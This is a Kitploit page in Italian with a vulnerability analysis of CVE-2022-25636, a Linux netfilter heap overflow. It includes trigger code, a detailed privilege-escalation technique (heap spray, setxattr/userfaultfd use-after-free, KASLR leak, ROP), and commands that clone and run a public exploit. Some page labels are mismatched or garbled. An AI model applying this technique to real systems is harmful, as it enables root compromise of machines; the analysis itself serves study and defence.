Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-25636 — Analisi di CVE-2022-0185 | Kitploit
Strumenti/GitHubGitHub/chenaotian/cve-2022-25636
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

Analisi di CVE-2022-0185

Vedi Repository
324 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-25636 Escalation dei privilegi del kernel netfilter

[toc]

Panoramica della vulnerabilità

ID vulnerabilità: CVE-2022-25636

Prodotto vulnerabile: linux kernel - netfilter

Versioni interessate: linux kernel 5.4 ~

Impatto: scrittura heap out-of-bounds nel modulo kernel netfilter, può portare a escalation dei privilegi se si dispone di CAP_SYS_ADMIN.

Configurazione dell'ambiente

La vulnerabilità si trova nel modulo kernel netfilter, il codice vulnerabile è presente in 3 file .ko.

root@kitploit:~
nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

Avviare direttamente con qemu ha problemi, i .ko non vengono caricati. Si utilizza debug a due macchine con vmware.

ubuntu 21.10 può sostituire manualmente il kernel:

root@kitploit:~
apt-get install linux-image-5.13.0-30-generic

Quindi eliminare il kernel originale e compilare l'exploit:

root@kitploit:~
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

Risultato dell'escalation (successo inferiore al 50%):

image-20220318151010142

Principio della vulnerabilità

Punto di occorrenza della vulnerabilità

La funzione interessata è nft_fwd_dup_netdev_offload:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

Durante l'impostazione di flow->rule->action.entries (una struttura a lunghezza variabile) non viene eseguito il controllo dei limiti dell'heap, portando a scrivere out-of-bounds un intero (4 o 5) e un puntatore.

Stack di chiamate

La funzione viene utilizzata in nft_flow_rule_create:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

root@kitploit:~
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions 初始化为0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//根据rule数量调用offload
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

Si può vedere che la funzione nft_flow_rule_create alloca la struttura flow in base al numero di strutture rule passate dallo spazio utente e la elabora. Usa la variabile num_actions per contare, ma durante il conteggio considera solo le regole con il flag NFT_OFFLOAD_F_ACTION e alloca una struttura di dimensioni corrispondenti. Tuttavia, quando successivamente chiama offload, non usa num_actions per iterare, ma esegue lo stesso numero di iterazioni delle regole, senza più controllare il flag NFT_OFFLOAD_F_ACTION. In altre parole, quando ci sono regole senza il flag NFT_OFFLOAD_F_ACTION, il numero di chiamate a offload è maggiore del numero di elementi allocati in flow->rule->action.entries. Durante offload viene chiamata la funzione vulnerabile nft_fwd_dup_netdev_offload. Ogni chiamata incrementa , che è inizializzato a 0, e alla fine supera la dimensione dell'array , causando scrittura out-of-bounds.

Alcune strutture:

root@kitploit:~
struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

Stack di chiamate:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

Utilizzo e attivazione di netfilter

Riferimento: https://www.openwall.com/lists/oss-security/2022/02/21/2

Questa email spiega come usare netfilter con le librerie C libmnl e libnftnl. Il punto principale per attivare la vulnerabilità è se la regola aggiunta ha il flag NFT_OFFLOAD_F_ACTION. Solo le regole aggiunte con nftnl_expr_alloc("immediate"); hanno il flag NFT_OFFLOAD_F_ACTION:

root@kitploit:~
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

Sfruttamento della vulnerabilità

L'exploit non è molto stabile, ma la tecnica di sfruttamento è ingegnosa. La vulnerabilità scrive un puntatore non controllabile a un offset fisso out-of-bounds. Personalmente ritengo che la difficoltà di sfruttamento sia molto alta. Analizziamo brevemente la tecnica. Dal codice della vulnerabilità, ogni scrittura out-of-bounds può scrivere un intero (id, fisso a 4 o 5) e un puntatore (*dev), dove il puntatore punta a una struttura struct net_device. Qui ci concentriamo solo sulla scrittura del puntatore dev:

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
	··· ···
}

Riguardo alla struttura struct flow_rule, essendo una struttura a lunghezza variabile, l'intervallo di dimensioni che può allocare è cruciale per il successo dell'exploit.

  • Quando viene passata una sola regola, la struttura ha dimensione 0x70, appartiene a kmalloc-128 (0x80). Se si verifica out-of-bounds, il puntatore dev viene scritto all'offset 0x88, cioè a 0x8 oltre i limiti.
  • Se vengono passate due regole, la struttura ha dimensione 0xC0, appartiene a kmalloc-192 (0xC0). In caso di out-of-bounds, il puntatore dev viene scritto a 0xd8, cioè a 0x18 oltre i limiti. Scrivendo due volte out-of-bounds si scriverà a 0x18 + 0x50 ...

Strutture correlate:

root@kitploit:~
struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* each bit repesents presence of one key id */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {//大小0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

Perdita dell'indirizzo della struttura net_device del kernel

Per iniziare lo sfruttamento, bisogna prima divulgare l'indirizzo di *dev due volte. Poiché sono necessari due indirizzi dev diversi, uno viene divulgato nel processo corrente e l'altro in un processo figlio. Si usa msg_msg per la divulgazione (msg_msg tecnica ricapitolazione). Si spruzza (heap spray) messaggi di dimensione 0x1040. A causa della struttura di msg, viene diviso in due segmenti: il secondo segmento ha lunghezza 0x70, più il puntatore di testa, si alloca kmalloc-128. Quindi si rilascia un msg, liberando un kmalloc-128. Successivamente si usa una struttura flow_rule con una sola regola, anch'essa in kmalloc-128, sperando che occupi il kmalloc-128 appena liberato del secondo segmento di msg, formando la seguente disposizione di heap:

image-20220320175028938

Dopo che flow_rule ha allocato la struttura msg_msgseg liberata, è probabile che sia adiacente ad altri msg_msgseg dello spray. In questo modo, una scrittura out-of-bounds scrive un puntatore heap net_device (puntatore dev) all'offset 0x8 oltre i limiti. Basta ricevere tutti i messaggi spruzzati per leggere questo puntatore heap, completando la divulgazione dell'indirizzo per lo sfruttamento successivo senza crash.

Uso di setxattr per UAF e divulgazione di kaslr

Successivamente si divulga kaslr per ottenere la base del kernel. Con lo stesso metodo, si usa msg_msg + spray, spruzzando un mucchio di msg in kmalloc-192, questa volta usando il primo segmento di msg_msg come target dello spray. Poi, come prima, se ne rilascia uno e si alloca flow_rule, cercando di ottenere la seguente disposizione di heap:

image-20220320184800730

Questa volta si usa una struttura flow_rule con due regole, di dimensione 0xC0, in kmalloc-192. Se si scrive out-of-bounds 6 volte, si scrive un puntatore *dev all'offset 0x18 + 0x50*5, che corrisponde all'offset 0x28 del terzo kmalloc-192 sottostante. Se si tratta di una struttura msg_msg, è il puntatore security. Ora, se si rilascia questa struttura msg_msg usando la funzione msgrcv, verrà chiamata kfree per liberare la memoria puntata da security. Questo è un primitivo per liberare indirizzi arbitrari tramite msg_msg->security. Il codice correlato è:

root@kitploit:~
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
    ··· ···
    ··· ···
	free_msg(msg); 			
	··· ···
}

void free_msg(struct msg_msg *msg)
{
	··· ···
	security_msg_msg_free(msg);
	··· ···
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);
	msg->security = NULL;
}

In questo modo, ricevendo i messaggi spruzzati, si libera il puntatore dev che abbiamo sovrascritto su security, cioè si libera la struttura net_device. Successivamente si usa setxattr + userfaulted per tentare di manomettere quel chunk di heap, completando un UAF. setxattr può allocare heap kernel di dimensioni arbitrarie, scrivere dati arbitrari e poi liberarlo. È una tecnica comune nello sfruttamento delle vulnerabilità del kernel.

Poiché nel kernel ci sono molti kmalloc-192 liberi, usare una sola volta setxattr non è sufficiente. Quindi si usano più thread che chiamano setxattr contemporaneamente, sfruttando userfaulted per aumentare i tempi di chiamata e occupare i chunk più a lungo, cercando di allocare più heap kernel e di ottenere la struttura net_device appena liberata. Una volta ottenuta, si può modificare il contenuto della struttura net_device: si modifica il puntatore dev_addr con il puntatore netdev_ops, poiché netdev_ops è inizializzato a loopback_ops, e si modificano alcuni campi come il nome per verificare se la modifica è riuscita:

root@kitploit:~
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

Quindi, chiamando ioctl su un socket con SIOCGIFHWADDR per leggere l'indirizzo hardware, si può leggere l'indirizzo di loopback_ops, completando la divulgazione. Ecco alcuni membri utili di net_device:

root@kitploit:~
struct net_device {
	char			name[IFNAMSIZ]; //修改name判断是否改正确
	··· ···
	const struct net_device_ops *netdev_ops;//初始化为,用于泄露内核地址
	int			ifindex;   
	·· ···
	const struct  ethtool_ops *ethtool_ops; //用于劫持rip
	··· ···
	unsigned char		addr_len; //用于读取地址长度
	··· ···
	unsigned char		*dev_addr; //篡改用于泄露地址,被SIOCGIFHWADDR 读取
};

Secondo UAF per eseguire rop nel kernel

Con lo stesso metodo, si usa setxattr + userfaulted per completare un UAF. Ora che abbiamo l'indirizzo del kernel, modifichiamo direttamente ethtool_ops di net_device per dirottare eip. Successivamente, usando ioctl su un socket con SIOCETHTOOL, verrà chiamata una funzione in ethtool_ops, dirottando rip, quindi si esegue ROP. È stato riprodotto con successo su ubuntu 21.10 kernel 13.0-30:

exp:https://github.com/Bonfee/CVE-2022-25636

image-20220318151010142

Riferimenti

Email: https://www.openwall.com/lists/oss-security/2022/02/21/2

Documento dell'autore: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/

exploit: https://github.com/Bonfee/CVE-2022-25636

Scarica lo strumento
ctx->num_actions
ctx->num_actions
flow->rule->action.entries